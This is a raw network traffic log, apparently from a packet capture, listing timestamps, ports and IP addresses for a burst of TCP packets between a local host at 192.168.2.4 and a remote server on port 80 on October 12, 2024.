Oct 12, 2024 14:17:08.442740917 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.442760944 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.442771912 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.442792892 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.442806005 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.442837000 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.442852974 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.442884922 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.442894936 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.442915916 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.442925930 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.442964077 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.442965031 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.442996025 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443005085 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443027973 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443034887 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443058968 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443073988 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443097115 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443106890 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443137884 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443152905 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443171978 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443176985 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443202019 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443212032 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443234921 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443250895 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443268061 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443275928 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443300009 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443311930 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443330050 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443341970 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443362951 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443372965 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443407059 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443417072 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443450928 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443470001 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443487883 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443494081 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443520069 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443530083 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443552017 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443573952 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443583012 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443593025 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443614006 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443628073 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443645954 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443659067 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443677902 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443690062 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443710089 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443720102 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443742037 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443773031 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443784952 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443784952 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443800926 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443813086 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443831921 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443846941 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443862915 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443871021 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443893909 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443903923 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443926096 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443957090 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443958044 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443978071 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.443989038 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.443995953 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.444020033 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.444041967 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.444051027 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.444061041 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.444082022 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.444112062 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.444123030 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.444128990 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.444154978 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.444166899 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.444188118 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.444197893 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.444217920 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.444227934 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.444252014 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.444272041 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.444283009 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.444292068 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.444314003 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.444335938 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.444344997 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.444350958 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.444376945 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.444400072 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.444406986 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.444417953 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.444438934 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.444447994 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.444468975 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.444477081 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.444502115 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.444515944 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.444533110 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.444540024 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.444565058 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.444574118 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.444596052 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.444605112 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.444628000 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.444654942 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.444658995 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.444679976 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.444694996 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.444710970 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.444756031 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.529614925 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.529691935 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.529731035 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.529743910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.529750109 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.529778004 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.529798985 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.529827118 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.529829025 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.529861927 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.529876947 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.529907942 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.529911995 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.529954910 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.529959917 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.529994965 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.530009985 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.530025005 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.530049086 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.530070066 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.530076027 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.530122995 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.530126095 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.530168056 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.530170918 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.530214071 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.530219078 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.530252934 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.530261040 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.530292034 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.530301094 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.530333042 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.530340910 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.530364990 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.530374050 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.530400038 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.530410051 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.530433893 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.530436039 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.530467033 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.530477047 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.530507088 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.530512094 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.530545950 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.530556917 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.530590057 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.530601025 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.530628920 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.530637980 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.530682087 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.530688047 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.530719042 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.530731916 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.530750990 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.530765057 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.530781031 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.530793905 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.530813932 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.530821085 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.530844927 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.530853987 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.530878067 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.530890942 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.530916929 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.530925035 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.530957937 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.530966997 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.530988932 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.530997992 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.531019926 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.531028986 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.531060934 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.531069994 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.531101942 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.531116009 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.531132936 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.531145096 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.531163931 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.531173944 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.531196117 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.531203032 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.531228065 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.531239033 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.531260014 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.531272888 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.531300068 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.531308889 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.531341076 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.531347036 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.531380892 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.531424999 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.531467915 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.531472921 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.531505108 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.531517029 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.531548023 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.531553984 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.531589031 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.531596899 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.531620026 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.531630039 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.531651974 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.531657934 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.531683922 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.531693935 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.531723976 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.531733036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.531764030 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.531779051 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.531805038 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.531816959 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.531847954 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.531863928 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.531892061 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.531896114 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.531927109 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.531933069 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.531959057 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.531971931 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.531990051 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532020092 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532021999 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532044888 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532064915 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532068014 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532099962 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532114029 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532130003 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532147884 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532160044 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532175064 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532186985 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532201052 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532217979 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532233953 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532253027 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532264948 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532284021 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532295942 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532315969 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532326937 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532350063 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532361984 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532382011 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532397032 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532413960 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532427073 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532445908 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532465935 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532479048 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532490015 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532511950 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532524109 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532545090 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532557011 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532577038 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532589912 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532608986 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532622099 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532639027 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532654047 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532670021 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532684088 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532701015 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532713890 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532732010 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532747984 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532763958 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532778025 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532793999 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532808065 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532824993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532840014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532860041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532870054 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532893896 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532905102 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532924891 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532938004 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532955885 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.532969952 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.532988071 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.533000946 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.533019066 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.533031940 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.533050060 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.533063889 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.533082008 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.533094883 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.533113003 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.533128023 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.533144951 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.533159018 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.533174992 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.533190012 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.533206940 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.533220053 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.533237934 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.533262014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.533271074 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.533287048 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.533298969 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.533317089 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.533329964 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.533343077 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.533361912 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.533375025 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.533396959 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.533407927 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.533428907 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.533442974 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.533459902 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.533474922 CEST	49730	80	192.168.2.4	178.63.215.77
